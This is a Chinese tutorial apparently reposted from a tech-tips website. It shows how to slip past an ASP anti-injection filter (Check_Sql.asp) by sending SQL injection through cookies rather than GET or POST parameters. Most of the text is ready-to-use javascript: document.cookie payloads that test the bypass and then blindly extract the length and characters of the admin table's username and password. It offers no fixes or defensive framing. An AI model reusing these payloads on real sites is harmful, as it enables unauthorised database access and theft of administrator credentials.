cookie注射脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    防注入程序,在检测到POST或GET方式的注入关键词时停止程序的输出,

cookie注射脚本安全

    网页文件在接受处理方式的时候一般是POST或GET两种方式:

    Request.form或Request.QueryString

    防注入程序3.0(Check_Sql.asp)正好只限制了这两种方式却没有限制Request.cookie的方式。

    下面用Javascript构造语句就可以注射了。

    使用javascript脚本将Cookies中的ID变量的值改变(这个51是原先ID变量的值)

    访问:http://localhost/shownews.asp?id=51

    去掉URL,输入:

    javascript.:alert(document.cookie="id="+escape("51 and 1=1"));

    这时候ID变量的值已经改变了,

    访问:http://localhost/shownews.asp

    因为没有输入任何ID变量,ASP程序会自动搜索到Cookies里有没有ID值,如果有就从Cookies里获取了

    所以返回和http://localhost/shownews.asp?id=51相同的页面

    说明修改为Cookies提交方式成功了

    再次提交:

    javascript.:alert(document.cookie="id="+escape("51 and 1=2"));

    访问:http://localhost/shownews.asp

    返回错误,说明我们已经绕过防注入系统的检查,成功注入了。

    猜解管理员帐号长度:

    javascript.:alert(document.cookie="id="+escape("51 and (select len(username) from admin)=5"));

    猜解管理员密码长度:

    javascript.:alert(document.cookie="id="+escape("51 and (select len(password) from admin)=16"));

    猜解username里的内容:

    猜解admin表,username字段,第1位对应的ASCII码

    javascript.:alert(document.cookie="id="+escape("51 and (select asc(mid(username,1,1)) from admin)=97"));

    (mid(列名,2,1))

    (mid(列名,3,1))

    ....

    猜解password里的内容:

    猜解admin表,password字段,第1位对应的ASCII码

    javascript.:alert(document.cookie="id="+escape("51 and (select asc(mid(password,1,1)) from admin)<97"));

    (mid(列名,2,1))

    (mid(列名,3,1))

    ....

    小技巧:

    可以同时打开两个页面

    http://localhost/shownews.asp

    javascript.:alert(document.cookie="id="+escape("51 and

    用javascript注射完再刷新/shownews.asp,有助于提高速度,

电脑资料

cookie注射脚本安全》(https://www.unjs.com)。

   

最新文章